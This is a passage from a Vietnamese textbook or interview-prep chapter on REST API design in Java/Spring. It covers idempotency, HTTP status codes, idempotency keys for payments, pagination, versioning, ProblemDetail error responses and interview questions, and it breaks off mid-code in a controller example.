PUT vs PATCH: PUT gửi toàn bộ biểu diễn, field không gửi nghĩa là bị xóa/đặt mặc định. PATCH chỉ gửi phần thay đổi. Hai format chuẩn: JSON Merge Patch (RFC 7396, null nghĩa là xóa field) và JSON Patch (RFC 6902, danh sách thao tác add, replace, remove). Tự làm PATCH bằng DTO thì phải phân biệt "không gửi field" với "gửi null".
Gọi 1 lần và gọi 3 lần cho ra trạng thái gì
Cách dễ nhớ nhất về idempotent: tưởng tượng mạng chập chờn và client gửi cùng một request 3 lần. Nếu trạng thái trên server sau 3 lần giống hệt sau 1 lần, request đó idempotent. Giả sử ban đầu đã có đơn 42 và giỏ hàng 7 có item 9 với số lượng 2:
	Request
	Sau 1 lần
	Sau 3 lần
	Idempotent?

	GET /orders/42
	Không đổi gì
	Không đổi gì
	Có (và safe)

	POST /orders body {"sku":"BOOK-1"}
	Có thêm đơn 43
	Có thêm đơn 43, 44, 45
	Không

	PUT /orders/42/address body {"city":"Hà Nội"}
	city = Hà Nội
	city = Hà Nội
	Có

	PATCH /carts/7/items/9 body {"quantity":3}
	quantity = 3
	quantity = 3
	Có, vì đặt giá trị tuyệt đối

	PATCH /carts/7/items/9 body {"increment":1}
	quantity = 3
	quantity = 5
	Không, vì cộng dồn

	DELETE /orders/42
	Đơn 42 bị xóa, trả 204
	Đơn 42 vẫn bị xóa, lần 2 và 3 trả 404
	Có



Chương trình Java dưới đây mô phỏng một kho đơn hàng trong bộ nhớ để kiểm chứng ba dòng POST, PUT, DELETE của bảng trên:
	import java.util.*;
 
public class IdempotencyDemo {
    static Map<Integer, String> orders = new TreeMap<>(Map.of(42, "book"));
    static int nextId = 43;
 
    static int post(String item) {           // POST /orders: server picks a new id every call
        orders.put(nextId, item);
        return nextId++;
    }
 
    static void put(int id, String item) {   // PUT /orders/{id}: replace the resource at a known URI
        orders.put(id, item);
    }
 
    static int delete(int id) {              // DELETE /orders/{id}: returns the HTTP status
        return orders.remove(id) != null ? 204 : 404;
    }
 
    public static void main(String[] args) {
        for (int i = 0; i < 3; i++) post("pen");
        System.out.println(orders);                          // prints: {42=book, 43=pen, 44=pen, 45=pen}
        for (int i = 0; i < 3; i++) put(42, "notebook");
        System.out.println(orders.get(42) + " " + orders.size()); // prints: notebook 4
        List<Integer> codes = new ArrayList<>();
        for (int i = 0; i < 3; i++) codes.add(delete(42));
        System.out.println(codes + " " + orders.size());     // prints: [204, 404, 404] 3
    }
}



Giải thích: Gọi post 3 lần tạo 3 đơn mới vì mỗi lần server tự sinh id, nên POST không idempotent. Gọi put(42, ...) 3 lần vẫn chỉ có một đơn 42 mang giá trị notebook, tổng số đơn giữ nguyên 4. Gọi delete(42) 3 lần: trạng thái cuối giống nhau (đơn 42 không còn, còn 3 đơn), dù status code lần đầu là 204 còn các lần sau là 404. Idempotent nói về trạng thái trên server, không nói về response. Đây là lý do HTTP client, gateway và service mesh được phép tự retry GET, PUT, DELETE khi timeout, nhưng không được tự retry POST.
	BẪY THƯỜNG GẶP
Nhầm lẫn: dùng GET cho hành động thay đổi dữ liệu, ví dụ GET /orders/42/cancel để frontend gọi cho tiện. Vì sao sai: GET được coi là safe, nên trình duyệt có thể prefetch link, crawler có thể đi theo link, proxy có thể cache hoặc retry, và đơn bị hủy mà không ai bấm. Đúng: dùng POST /orders/42/cancel. Lưu ý safe nghĩa là client không yêu cầu thay đổi; server ghi log hay tăng bộ đếm lượt xem khi xử lý GET vẫn chấp nhận được.



7.3 Status code dùng đúng
	NHẮC LẠI KIẾN THỨC
N2.5 chia status code thành năm nhóm: 1xx thông tin, 2xx thành công, 3xx chuyển hướng, 4xx lỗi do client, 5xx lỗi do server. Chữ số đầu tiên đã cho client biết phải làm gì tiếp theo, trước cả khi đọc body.



	Code
	Khi nào dùng

	200 OK
	Thành công, có body

	201 Created
	Tạo mới thành công, kèm header Location trỏ tới resource mới

	202 Accepted
	Đã nhận, xử lý bất đồng bộ sau

	204 No Content
	Thành công, không có body (thường cho DELETE, PUT)

	400 Bad Request
	Request sai cú pháp, JSON hỏng, tham số sai kiểu

	401 Unauthorized
	Chưa xác thực hoặc token không hợp lệ

	403 Forbidden
	Đã xác thực nhưng không có quyền

	404 Not Found
	Resource không tồn tại (hoặc cố ý ẩn với người không có quyền)

	409 Conflict
	Xung đột trạng thái: trùng dữ liệu unique, sai version, hủy đơn đã giao

	422 Unprocessable Content
	Cú pháp đúng nhưng vi phạm quy tắc nghiệp vụ/validation

	429 Too Many Requests
	Vượt rate limit, kèm Retry-After

	500 Internal Server Error
	Lỗi không lường trước phía server

	503 Service Unavailable
	Tạm thời không phục vụ được (quá tải, bảo trì), kèm Retry-After



Validation lỗi trả 400 hay 422 là lựa chọn của team, miễn thống nhất. Không bao giờ trả 200 kèm {"success": false} cho lỗi: gateway, monitoring, retry logic của client đều dựa vào status code.
Ví dụ request/response cho từng nhóm mã
Nhóm 2xx, thành công. Tạo đơn trả 201 kèm Location, xóa trả 204 không có body:
	POST /api/v1/orders HTTP/1.1
Content-Type: application/json
 
{"customerId": 1, "items": [{"sku": "SKU-123", "quantity": 1}]}
 
HTTP/1.1 201 Created
Location: /api/v1/orders/106
Content-Type: application/json
 
{"id": 106, "status": "NEW", "total": 90}
 
DELETE /api/v1/orders/106 HTTP/1.1
 
HTTP/1.1 204 No Content



Nhóm 3xx, chuyển hướng hoặc dùng lại cache. Với REST API, mã hay gặp nhất là 304: client gửi lại ETag đã nhận ở lần trước, server thấy resource chưa đổi thì trả 304 không có body, client dùng bản đã cache:
	GET /api/v1/products/9 HTTP/1.1
If-None-Match: "v7"
 
HTTP/1.1 304 Not Modified
ETag: "v7"



Nhóm 4xx, lỗi do client. Client phải sửa request; gửi lại y nguyên sẽ lỗi y nguyên (trừ 429 và một số 409):
	GET /api/v1/orders/106 HTTP/1.1
 
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer error="invalid_token"
 
POST /api/v1/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...
 
HTTP/1.1 429 Too Many Requests
Retry-After: 30
Content-Type: application/problem+json
 
{"type": "about:blank", "title": "Too Many Requests", "status": 429,
 "detail": "Quota of 100 requests per minute exceeded"}



Nhóm 5xx, lỗi do server. Client không có lỗi; nếu request idempotent thì có thể retry sau một khoảng chờ:
	GET /api/v1/orders/106 HTTP/1.1
 
HTTP/1.1 503 Service Unavailable
Retry-After: 120
Content-Type: application/problem+json
 
{"type": "about:blank", "title": "Service Unavailable", "status": 503,
 "detail": "Scheduled maintenance until 02:00"}



Giải thích: Trong các ví dụ trên, status code và header đã đủ để client tự động hóa phản ứng: 201 thì đọc Location để điều hướng tới đơn mới; 304 thì hiển thị bản cache; 401 thì chuyển sang màn hình đăng nhập hoặc làm mới token; 429 và 503 thì chờ đúng số giây trong Retry-After rồi thử lại. Hai mã 5xx hay gặp khác do gateway sinh ra: 502 Bad Gateway (service phía sau trả response hỏng hoặc chết) và 504 Gateway Timeout (service phía sau không trả lời kịp).
	Nhóm
	Ai sai
	Client nên làm gì

	2xx
	Không ai
	Dùng kết quả

	3xx
	Không ai
	Đi theo Location hoặc dùng bản cache

	4xx
	Client
	Sửa request; chỉ retry nguyên xi với 429 (sau Retry-After)

	5xx
	Server hoặc hạ tầng
	Retry có backoff nếu request idempotent hoặc có idempotency key



7.4 Idempotency key cho POST thanh toán
Client gửi POST /payments bị timeout, không biết đã trừ tiền chưa; retry mù quáng có thể trừ hai lần. Giải pháp phổ biến: client sinh Idempotency-Key (UUID) cho mỗi ý định thanh toán, gửi trong header, retry dùng lại đúng key đó.
Phía server:
1. Lưu key vào bảng có unique constraint (key + client id), kèm hash của request body và trạng thái PROCESSING. Insert thất bại do trùng nghĩa là request này đã/đang được xử lý.
1. Xử lý nghiệp vụ, lưu response (status + body) vào bản ghi key, chuyển trạng thái COMPLETED.
1. Request trùng key: nếu COMPLETED thì trả lại đúng response đã lưu; nếu PROCESSING thì trả 409 để client thử lại sau; nếu cùng key nhưng body khác thì trả 422.
1. Đặt thời hạn lưu key (ví dụ 24 giờ).
Unique constraint ở DB là mấu chốt; kiểm tra "đã tồn tại chưa" bằng SELECT rồi INSERT sẽ lọt race condition.
	NHẮC LẠI KIẾN THỨC
Mục 6.3 (phantom read, lost update) giải thích vì sao "SELECT kiểm tra rồi INSERT" không an toàn: hai transaction cùng SELECT, cùng thấy "chưa có", rồi cùng INSERT. Chỉ ràng buộc UNIQUE ở DB mới bảo đảm đúng một bên thắng.



Kịch bản mạng lỗi rồi client gửi lại
Bảng lưu key được thiết kế như sau (chạy được trên SQLite, PostgreSQL; MySQL dùng INSERT IGNORE thay cho ON CONFLICT DO NOTHING):
	CREATE TABLE idempotency_keys (
    client_id    VARCHAR(50) NOT NULL,
    idem_key     VARCHAR(64) NOT NULL,
    request_hash CHAR(64)    NOT NULL, -- SHA-256 of the request body
    status       VARCHAR(20) NOT NULL, -- PROCESSING or COMPLETED
    http_status  INT,                  -- saved response, filled when COMPLETED
    response     TEXT,
    created_at   TIMESTAMP   NOT NULL,
    PRIMARY KEY (client_id, idem_key) -- the uniqueness that blocks duplicates
);
 
-- Every request starts with this insert; 1 row = first time, 0 rows = duplicate
INSERT INTO idempotency_keys (client_id, idem_key, request_hash, status, created_at)
VALUES ('shop-app', '7f3c9a2e', 'a1b2...', 'PROCESSING', CURRENT_TIMESTAMP)
ON CONFLICT DO NOTHING;



Kịch bản: app mobile thanh toán 100.000đ, request đầu tới server và được xử lý xong, nhưng response bị mất trên đường về do mạng 4G chập chờn.
	Bước
	Client
	Server
	Bảng idempotency_keys

	1
	Sinh key 7f3c9a2e, gửi POST /payments kèm Idempotency-Key: 7f3c9a2e
	INSERT key, được 1 dòng: lần đầu
	PROCESSING

	2
	Đang chờ
	Gọi cổng thanh toán, trừ tiền thành công, tạo payment 9001
	PROCESSING

	3
	Đang chờ
	UPDATE lưu 201 và body {"paymentId":9001}
	COMPLETED

	4
	Timeout sau 10 giây, không nhận được response
	Response 201 bị mất trên mạng
	COMPLETED

	5
	Retry, gửi lại đúng key cũ 7f3c9a2e và cùng body
	INSERT được 0 dòng: trùng; đọc bản ghi thấy COMPLETED, hash khớp
	Không đổi

	6
	Nhận 201 {"paymentId":9001} như lần đầu
	Không gọi cổng thanh toán lần nữa
	Không đổi



Giải thích: Người dùng bị trừ tiền đúng một lần và app vẫn nhận được kết quả của lần thanh toán đó. Nếu retry tới khi bước 3 chưa xong (bản ghi còn PROCESSING), server trả 409 Conflict kèm Retry-After để client chờ rồi thử lại. Nếu client dùng lại key cũ cho một body khác (ví dụ số tiền 200.000đ), hash không khớp và server trả 422, vì đó là lỗi lập trình ở client. Tôi đã chạy khối SQL trên SQLite: lần INSERT đầu changes() trả 1, lần thứ hai với cùng key trả 0, còn INSERT không có ON CONFLICT thì báo UNIQUE constraint failed.
Chương trình dưới đây mô phỏng logic phía server bằng ConcurrentHashMap.putIfAbsent, đóng vai trò của unique constraint:
	import java.util.concurrent.*;
 
public class IdempotencyKeyDemo {
    record Saved(String body, String status, String response) {}
 
    static final ConcurrentMap<String, Saved> keys = new ConcurrentHashMap<>(); // stands in for the UNIQUE table
    static int charges = 0;
 
    static String pay(String key, String body) {
        Saved existing = keys.putIfAbsent(key, new Saved(body, "PROCESSING", null)); // atomic insert
        if (existing != null) {
            if (!existing.body().equals(body)) return "422 key reused with another body";
            if (existing.status().equals("PROCESSING")) return "409 still processing";
            return existing.response() + " (replayed)";
        }
        charges++;                                      // the real charge happens only here
        String response = "201 paymentId=" + (9000 + charges);
        keys.put(key, new Saved(body, "COMPLETED", response));
        return response;
    }
 
    public static void main(String[] args) {
        System.out.println(pay("7f3c9a2e", "amount=100000")); // prints: 201 paymentId=9001
        System.out.println(pay("7f3c9a2e", "amount=100000")); // prints: 201 paymentId=9001 (replayed)
        System.out.println(pay("7f3c9a2e", "amount=200000")); // prints: 422 key reused with another body
        System.out.println(pay("b41d0c77", "amount=100000")); // prints: 201 paymentId=9002
        System.out.println("charges = " + charges);          // prints: charges = 2
    }
}



Giải thích: Bốn lời gọi chỉ tạo 2 lần trừ tiền: lần retry với cùng key trả lại response đã lưu, lần dùng lại key với body khác bị từ chối, chỉ key mới b41d0c77 mới tạo thanh toán thứ hai. putIfAbsent là thao tác nguyên tử, giống INSERT đụng unique constraint: nếu hai thread gọi cùng lúc, chỉ một thread nhận null và được xử lý. Code thật lưu vào DB (để nhiều instance dùng chung), so sánh hash thay vì cả body, và đặt thời hạn cho key.
7.5 Phân trang, lọc, sắp xếp, versioning
Phân trang, lọc, sắp xếp qua query param: GET /orders?status=PAID&createdFrom=2026-09-01&page=0&size=20&sort=createdAt,desc. Spring Data Pageable hiểu sẵn page, size, sort. Luôn giới hạn size tối đa (ví dụ 100), whitelist field được sort, và có thứ tự mặc định ổn định. Page tốn thêm một câu COUNT; bảng lớn thì dùng Slice hoặc cursor (?cursor=... mã hóa giá trị keyset) như đã nói ở Chương 6.
	NHẮC LẠI KIẾN THỨC
Mục 6.2 đã so sánh offset và keyset ở tầng SQL: offset phải đọc rồi bỏ các dòng phía trước nên càng về sau càng chậm; keyset nhớ giá trị của dòng cuối trang trước và seek thẳng tới đó nhờ index. Ở tầng API, hai cách này trở thành ?page= và ?cursor=.



Offset và keyset nhìn từ phía API
Dùng lại bảng orders mẫu của Chương 6 (đơn 101 tới 105, đơn 103 và 104 trùng created_at = 2026-09-02 08:00), mỗi trang 2 đơn, mới nhất trước.
	API request
	SQL phía sau
	Kết quả

	GET /orders?page=0&size=2
	ORDER BY created_at DESC, id DESC LIMIT 2 OFFSET 0
	105, 104

	GET /orders?page=1&size=2
	... LIMIT 2 OFFSET 2
	103, 102

	GET /orders?size=2
	ORDER BY created_at DESC, id DESC LIMIT 3
	105, 104, kèm nextCursor

	GET /orders?size=2&cursor=eyJj...
	WHERE created_at < ? OR (created_at = ? AND id < ?) ... LIMIT 3
	103, 102, kèm nextCursor



Response của kiểu cursor trông như sau:
	{
  "items": [
    { "id": 105, "createdAt": "2026-09-03T07:30:00", "total": 80 },
    { "id": 104, "createdAt": "2026-09-02T08:00:00", "total": 500 }
  ],
  "nextCursor": "eyJjcmVhdGVkQXQiOiIyMDI2LTA5LTAyVDA4OjAwIiwiaWQiOjEwNH0=",
  "hasNext": true
}



Giải thích: nextCursor là chuỗi Base64 của {"createdAt":"2026-09-02T08:00","id":104}, tức giá trị sắp xếp của dòng cuối trang. Client không cần hiểu bên trong, chỉ gửi lại nguyên văn để lấy trang sau. Server lấy size + 1 dòng (ở đây 3) để biết còn trang sau hay không mà không cần câu COUNT: có dòng thứ 3 thì hasNext = true và bỏ dòng đó khỏi items. Kiểu page hợp với màn hình admin cần nhảy trang và hiện tổng số trang; kiểu cursor hợp với infinite scroll trên mobile và API đồng bộ dữ liệu, vì không chậm dần và không lặp hay sót đơn khi có đơn mới chèn vào giữa hai lần gọi.
Versioning:
	Cách
	Ví dụ
	Nhận xét

	URI
	/api/v1/orders
	Rõ ràng, dễ route ở gateway, dễ test; phổ biến nhất

	Header
	Accept: application/vnd.shop.v2+json
	URI sạch, nhưng khó test bằng trình duyệt, khó cache

	Query param
	/orders?version=2
	Đơn giản nhưng dễ bị bỏ quên, ít dùng



Quan trọng hơn là tránh phải tăng version: thêm field là tương thích ngược (client phải bỏ qua field lạ); đổi tên, xóa field, đổi kiểu mới là breaking change. Spring Framework 7 đã bổ sung hỗ trợ API versioning sẵn trong Spring MVC, còn với Spring Boot 3 cách phổ biến vẫn là prefix URI.
Ví dụ: một breaking change và cách chạy song song hai version
Breaking change là thay đổi làm client cũ đang chạy đúng bỗng hỏng. Ví dụ đội sản phẩm muốn hỗ trợ nhiều loại tiền tệ nên đổi total từ số sang object. Nếu sửa thẳng vào v1, app mobile cũ đọc total như số sẽ lỗi parse. Cách làm đúng là giữ v1, mở v2:
	GET /api/v1/orders/104 HTTP/1.1
 
HTTP/1.1 200 OK
Deprecation: @1788220800
Sunset: Thu, 31 Dec 2026 23:59:59 GMT
Content-Type: application/json
 
{"id": 104, "status": "PAID", "total": 500}
 
GET /api/v2/orders/104 HTTP/1.1
 
HTTP/1.1 200 OK
Content-Type: application/json
 
{"id": 104, "status": "PAID", "total": {"amount": 500, "currency": "VND"}}



Giải thích: v1 giữ nguyên format cũ để client cũ tiếp tục chạy, đồng thời gửi thêm hai header báo trước: Deprecation (chuẩn RFC 9745, giá trị là thời điểm dạng giây Unix, ở đây là 01/09/2026) cho biết version này đã bị đánh dấu ngừng phát triển, Sunset (RFC 8594) cho biết ngày dự kiến gỡ hẳn. v2 mang format mới. Server đếm traffic v1 theo từng client, liên hệ những client còn gọi, và chỉ gỡ v1 khi traffic về 0. Nếu yêu cầu chỉ là thêm thông tin tiền tệ, cách rẻ hơn nhiều là thêm field mới currency cạnh total trong v1, hoàn toàn tương thích ngược, không cần v2.
7.6 Format lỗi, validation, tài liệu hóa, rate limiting
Format lỗi thống nhất theo Problem Details (RFC 7807, nay được thay bằng RFC 9457), content type application/problem+json. Spring 6 hỗ trợ sẵn qua ProblemDetail (xem Chương 4).
	NHẮC LẠI KIẾN THỨC
Mục 4.6 đã trình bày @RestControllerAdvice với @ExceptionHandler để gom xử lý lỗi của mọi controller về một chỗ và trả ProblemDetail. Mục này tập trung vào nội dung của response lỗi mà client nhận được.



Ví dụ dưới đây là body mà server trả về khi client gọi POST /api/v1/orders đặt 5 sản phẩm SKU-123 trong khi kho chỉ còn 2 (JSON không cho phép comment, nên ý nghĩa từng field được giải thích ngay sau block):
	{
  "type": "https://api.shop.vn/errors/insufficient-stock",
  "title": "Insufficient stock",
  "status": 409,
  "detail": "Sản phẩm SKU-123 chỉ còn 2 trong kho",
  "instance": "/api/v1/orders",
  "traceId": "4bf92f3577b34da6",
  "errors": [{ "field": "items[0].quantity", "message": "must be less than or equal to 2" }]
}



Giải thích: Response đi kèm HTTP status 409 và header Content-Type: application/problem+json. Ý nghĩa từng field:
1. type: URI định danh loại lỗi, client dựa vào đây để rẽ nhánh xử lý (ví dụ hiện thông báo "hết hàng"); có thể trỏ tới trang tài liệu mô tả lỗi, nếu không có thì mặc định là about:blank.
1. title: tóm tắt ngắn, cố định cho mỗi type, không thay đổi giữa các lần lỗi.
1. status: lặp lại HTTP status để tiện log và debug khi body bị tách khỏi response.
1. detail: mô tả cụ thể cho lần lỗi này, có thể hiển thị cho người dùng.
1. instance: URI của request gây lỗi.
1. traceId và errors là extension field (chuẩn cho phép thêm field riêng): traceId giúp đội vận hành tìm log tương ứng, errors liệt kê từng field sai để frontend tô đỏ đúng ô nhập. Không đưa stack trace, câu SQL hay tên class vào response.
Validation: định dạng kiểm tra bằng jakarta.validation trên DTO, nghiệp vụ kiểm tra ở service, không bind request vào entity, trả tất cả lỗi field trong một lần.
Sinh ProblemDetail trong Spring và thêm ví dụ response
Đoạn advice dưới đây sinh đúng response 409 ở ví dụ trên từ một exception nghiệp vụ, kèm các field mở rộng:
	import java.net.URI;
import java.util.List;
import java.util.Map;
import org.springframework.http.HttpStatus;
import org.springframework.http.ProblemDetail;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
 
@RestControllerAdvice
public class ApiErrorHandler {
    @ExceptionHandler(InsufficientStockException.class)
    public ProblemDetail handleStock(InsufficientStockException ex) {
        ProblemDetail pd = ProblemDetail.forStatusAndDetail(HttpStatus.CONFLICT, ex.getMessage());
        pd.setType(URI.create("https://api.shop.vn/errors/insufficient-stock"));
        pd.setTitle("Insufficient stock");
        pd.setProperty("errors", List.of(Map.of(                 // extension field
                "field", "items[0].quantity",
                "message", "must be less than or equal to " + ex.available())));
        return pd; // Spring sets status 409 and Content-Type: application/problem+json
    }
}



Giải thích: forStatusAndDetail đặt status và detail; instance được Spring tự điền bằng đường dẫn request nếu bạn không đặt; setProperty thêm field mở rộng và Jackson ghi chúng ngang hàng với các field chuẩn. traceId thường được thêm ở một chỗ chung (ví dụ lấy từ Micrometer Tracing) thay vì ở từng handler. InsufficientStockException là exception nghiệp vụ tự định nghĩa, có method available() trả số lượng còn trong kho.
Hai response lỗi khác mà client hay gặp, cùng một format:
	POST /api/v1/orders HTTP/1.1
Content-Type: application/json
 
{"customerId": 1, "items": [{"sku": "", "quantity": 0}]}
 
HTTP/1.1 400 Bad Request
Content-Type: application/problem+json
 
{"type": "https://api.shop.vn/errors/validation", "title": "Validation failed", "status": 400,
 "detail": "2 fields are invalid", "instance": "/api/v1/orders",
 "errors": [{"field": "items[0].sku", "message": "must not be blank"},
            {"field": "items[0].quantity", "message": "must be greater than 0"}]}
 
GET /api/v1/orders/999 HTTP/1.1
 
HTTP/1.1 404 Not Found
Content-Type: application/problem+json
 
{"type": "about:blank", "title": "Not Found", "status": 404,
 "detail": "Order 999 not found", "instance": "/api/v1/orders/999"}



Giải thích: Response 400 liệt kê mọi field sai trong một lần để frontend tô đỏ cả hai ô, thay vì bắt người dùng sửa từng lỗi rồi gửi lại. Response 404 dùng type là about:blank, nghĩa là lỗi không có ý nghĩa gì thêm ngoài chính status code, và khi đó title nên trùng tên chuẩn của status. Client viết một bộ xử lý lỗi duy nhất: đọc status để phân loại, đọc type để rẽ nhánh nghiệp vụ, hiển thị detail, và map errors vào form.
OpenAPI/Swagger: với Spring Boot 3 dùng springdoc-openapi (Springfox đã ngừng phát triển, không chạy với Boot 3). Code-first (sinh spec từ annotation) nhanh cho team nội bộ; contract-first (viết spec trước, sinh code) hợp khi nhiều team hoặc đối tác phát triển song song. Không mở Swagger UI công khai trên production nếu API không public.
Rate limiting: thuật toán phổ biến là token bucket (cho phép burst ngắn) và sliding window. Thường đặt ở API gateway (Spring Cloud Gateway với Redis, Nginx, Kong), trong ứng dụng có thể dùng Bucket4j. Giới hạn theo user/API key chứ không chỉ theo IP; vượt giới hạn trả 429 kèm Retry-After.
7.7 REST, gRPC, GraphQL và SOAP
	Tiêu chí
	REST
	gRPC
	GraphQL

	Giao thức, format
	HTTP, thường JSON
	HTTP/2, Protobuf nhị phân
	HTTP, JSON, một endpoint

	Hợp với
	API public, CRUD, web/mobile
	Giao tiếp nội bộ service-to-service, streaming
	Client cần lấy dữ liệu linh hoạt, nhiều màn hình

	Điểm mạnh
	Đơn giản, cache HTTP, công cụ phong phú
	Nhanh, contract chặt, sinh code nhiều ngôn ngữ
	Tránh over/under-fetching

	Điểm yếu
	Over-fetching, nhiều round-trip
	Khó gọi từ trình duyệt, khó debug bằng mắt
	Khó cache, dễ sinh query nặng, N+1 ở resolver



SOAP là giao thức dựa trên XML với WSDL làm contract và các chuẩn WS-* (như WS-Security); hiện chủ yếu còn gặp khi tích hợp hệ thống ngân hàng, bảo hiểm, cơ quan nhà nước đời cũ.
7.8 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): REST là gì? "Stateless" nghĩa là gì trong một dự án thật?
REST là một kiểu kiến trúc: dữ liệu được mô hình thành resource có URI, thao tác qua các method HTTP chuẩn, và server không giữ trạng thái phiên của client giữa các request. Trong dự án thật, stateless nghĩa là mỗi request tự mang theo mọi thứ cần thiết, điển hình là JWT trong header Authorization, thay vì dựa vào session lưu trong bộ nhớ của một instance. Hệ quả tốt: load balancer gửi request tới instance nào cũng được, thêm instance là scale ngay, instance chết không làm người dùng bị đăng xuất. Stateless không có nghĩa là không có dữ liệu: đơn hàng, giỏ hàng vẫn nằm trong DB; chỉ là server không nhớ "client này đang ở bước nào".
Câu hỏi (Cơ bản): Safe và idempotent khác nhau thế nào? Cho ví dụ.
Safe là không thay đổi trạng thái server; idempotent là gọi nhiều lần cho cùng trạng thái cuối như gọi một lần. Mọi method safe đều idempotent, nhưng không phải ngược lại. GET là safe và idempotent. DELETE không safe (nó xóa dữ liệu) nhưng idempotent: xóa đơn 42 ba lần thì đơn 42 vẫn chỉ "đã bị xóa". PUT cũng idempotent: đặt địa chỉ thành "Hà Nội" ba lần vẫn là "Hà Nội". POST không safe, không idempotent: gửi ba lần tạo ba đơn. Ý nghĩa thực tế: hạ tầng (HTTP client, gateway) được tự retry request idempotent khi timeout, còn POST thì không.
	CÂU HỎI ĐÀO SÂU
"DELETE lần hai trả 404, vậy có còn idempotent không?" — Vẫn idempotent, vì định nghĩa nói về trạng thái trên server chứ không nói về response. Trạng thái sau lần 1 và lần 3 giống nhau: resource không tồn tại. Nhiều team chọn trả 204 cho cả lần sau để client đơn giản hơn; cả hai đều hợp lệ, miễn nhất quán.



Câu hỏi (Cơ bản): Tìm lỗi đặt tên trong danh sách endpoint dưới đây
	GET    /api/v1/getOrderList
POST   /api/v1/Order/create
POST   /api/v1/orders/42/delete
GET    /api/v1/orders/42/updateStatus?status=CANCELLED



Đáp án:
1. GET /getOrderList nên là GET /api/v1/orders: URI là danh từ số nhiều, method đã nói hành động.
1. POST /Order/create nên là POST /api/v1/orders: bỏ động từ, dùng chữ thường số nhiều.
1. POST /orders/42/delete nên là DELETE /api/v1/orders/42: có method chuẩn cho xóa thì dùng, để hạ tầng hiểu đây là thao tác idempotent.
1. GET /orders/42/updateStatus?status=CANCELLED là lỗi nặng nhất: GET làm thay đổi dữ liệu, có thể bị prefetch, crawler hoặc retry kích hoạt. Nên là POST /api/v1/orders/42/cancel (hành động nghiệp vụ có logic riêng), hoặc PATCH /api/v1/orders/42 với body {"status": "CANCELLED"} nếu chỉ là đổi trạng thái đơn thuần.
Câu hỏi (Hiểu sâu): Vì sao POST không idempotent còn PUT thì có? Khi nào dùng PUT để tạo mới?
Vì với POST, server quyết định URI của resource mới, nên mỗi lần gọi tạo ra một resource khác; với PUT, client chỉ định sẵn URI, nên gọi lại chỉ ghi đè cùng một chỗ. POST /orders ba lần sinh đơn 43, 44, 45. PUT /users/7/avatar ba lần vẫn chỉ có một avatar ở đúng URI đó. PUT dùng để tạo mới khi client biết trước định danh, ví dụ PUT /carts/{cartId}/items/{sku} (mỗi SKU chỉ có một dòng trong giỏ) hoặc PUT /settings/notification. Lần đầu trả 201 Created, các lần sau trả 200 hoặc 204. Nhờ vậy client có thể retry thoải mái mà không cần idempotency key.
Câu hỏi (Cơ bản): PUT và PATCH khác nhau thế nào? Cái nào idempotent?
PUT thay thế toàn bộ resource nên gửi lại cùng request cho cùng kết quả: idempotent. PATCH cập nhật một phần, không được đảm bảo idempotent: {"op": "add"} vào mảng hay "tăng số lượng thêm 1" gọi hai lần sẽ khác một lần, còn JSON Merge Patch đặt giá trị cụ thể thì thực tế idempotent.
	BẪY THƯỜNG GẶP
Nói "POST dùng để tạo, PUT dùng để sửa" và dừng ở đó. Người phỏng vấn muốn nghe về ngữ nghĩa thay thế toàn bộ, idempotency, và cách xử lý field null khi PATCH.



Câu hỏi (Đọc code): Client gửi PATCH /customers/7 với body {"phone": null} để xóa số điện thoại. Chuyện gì xảy ra?
	public record UpdateCustomerRequest(String name, String phone) {}
 
// inside CustomerService, running in a @Transactional method
void patch(Customer c, UpdateCustomerRequest req) {
    if (req.name() != null) c.setName(req.name());
    if (req.phone() != null) c.setPhone(req.phone()); // null is treated as "not sent"
}



Đáp án:
Số điện thoại không bị xóa, API vẫn trả thành công. Jackson bind cả {} (không gửi field) lẫn {"phone": null} (gửi null) thành phone = null trong record, nên service không phân biệt được hai ý định, và điều kiện != null bỏ qua cả hai. Theo JSON Merge Patch (RFC 7396), null nghĩa là "xóa field", còn vắng mặt nghĩa là "giữ nguyên". Cách sửa: nhận body dạng JsonNode hoặc Map<String, Object> rồi kiểm tra containsKey("phone"); dùng kiểu bọc ba trạng thái như JsonNullable<String> (thư viện jackson-databind-nullable); hoặc thiết kế endpoint riêng DELETE /customers/7/phone. Viết test cho cả ba trường hợp: không gửi, gửi null, gửi giá trị.
Câu hỏi (Cơ bản): Tạo đơn thành công bạn trả status gì? Xóa thành công thì sao?
Tạo thành công trả 201 kèm header Location: /api/v1/orders/{id}, thường kèm body resource vừa tạo; xử lý bất đồng bộ thì 202 kèm URI tra trạng thái. Xóa thành công trả 204; xóa resource không tồn tại trả 404 hoặc 204 tùy quy ước, miễn nhất quán.
Câu hỏi (Cơ bản): Tìm kiếm đơn không có kết quả thì trả 404 hay 200? Vì sao không trả 200 kèm {"success": false} cho lỗi?
GET /orders?status=REFUNDED không có đơn nào thì trả 200 với danh sách rỗng; 404 dành cho khi resource cụ thể không tồn tại, như GET /orders/999. Danh sách rỗng là một kết quả hợp lệ của phép tìm kiếm, còn resource /orders vẫn tồn tại. Về lỗi: trả 200 kèm {"success": false} làm mọi tầng hạ tầng hiểu sai. Gateway và APM đếm tỉ lệ lỗi theo status code nên dashboard báo "0% lỗi" trong khi người dùng không thanh toán được; HTTP client của frontend đi vào nhánh thành công và phải tự kiểm tra thêm một cờ; cơ chế retry và circuit breaker không kích hoạt. Status code là hợp đồng mà mọi công cụ đều hiểu, body chỉ bổ sung chi tiết.
Câu hỏi (Cơ bản): 401 và 403 khác nhau thế nào? 400 và 422?
401: chưa xác thực hoặc token hỏng/hết hạn, client cần đăng nhập lại. 403: biết bạn là ai nhưng không có quyền. 400: request sai về cú pháp hoặc kiểu dữ liệu. 422: request hợp lệ về cú pháp nhưng không xử lý được về ngữ nghĩa (vi phạm validation, quy tắc nghiệp vụ).
	CÂU HỎI ĐÀO SÂU
"User truy cập đơn hàng của người khác, trả 403 hay 404?" — Thường trả 404 để không tiết lộ đơn đó tồn tại. Đây là câu hỏi nối sang lỗ hổng IDOR ở Chương 5.



Câu hỏi (Đọc code): Controller dưới đây trả status gì khi tạo đơn thành công và khi không tìm thấy đơn? Sửa thế nào?
	@RestController
@RequestMapping("/api/v1/orders")
public class OrderController {
    private final OrderService service;
    public OrderController(OrderService service) { this.service = service; }
 
    @PostMapping
    public Order create(@RequestBody Order order) {
        return service.create(order);
    }
 
    @GetMapping("/{id}")
